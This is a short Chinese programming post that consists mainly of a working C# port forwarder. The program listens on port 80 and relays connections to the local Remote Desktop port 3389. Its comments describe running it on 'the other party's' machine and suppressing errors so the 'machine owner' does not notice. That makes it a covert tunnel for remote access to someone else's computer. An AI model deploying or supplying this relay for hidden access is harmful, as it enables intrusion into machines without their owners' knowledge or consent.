C#端口转发用法详解

using System;using System.Net.Sockets;using System.Threading;namespace PortTransponder{  class Program  {    static void Main(string[] args)    {      TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口      tl.Start();      while (true)//这里必须用循环，可以接收不止一个客户//因为我发现终端服务有时一个端口不行就换一个端口重连      {//下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转        try        {          TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边，不会100%占用cpu          TcpClient tc2 = new TcpClient("localhost", 3389);          tc1.SendTimeout = 300000;//设定超时，否则端口将一直被占用，即使失去连接          tc1.ReceiveTimeout = 300000;          tc2.SendTimeout = 300000;          tc2.ReceiveTimeout = 300000;          object obj1 = (object)(new TcpClient[] { tc1, tc2 });          object obj2 = (object)(new TcpClient[] { tc2, tc1 });          ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);          ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);        }        catch { }      }    }    public static void transfer(object obj)    {      TcpClient tc1 = ((TcpClient[])obj)[0];      TcpClient tc2 = ((TcpClient[])obj)[1];      NetworkStream ns1 = tc1.GetStream();      NetworkStream ns2 = tc2.GetStream();      while (true)      {        try        {//这里必须try catch，否则连接一旦中断程序就崩溃了//要是弹出错误提示让机主看见那就了          byte[] bt = new byte[10240];          int count = ns1.Read(bt, 0, bt.Length);          ns2.Write(bt, 0, count);        }        catch        {          ns1.Dispose();          ns2.Dispose();          tc1.Close();          tc2.Close();          break;        }      }    }  }}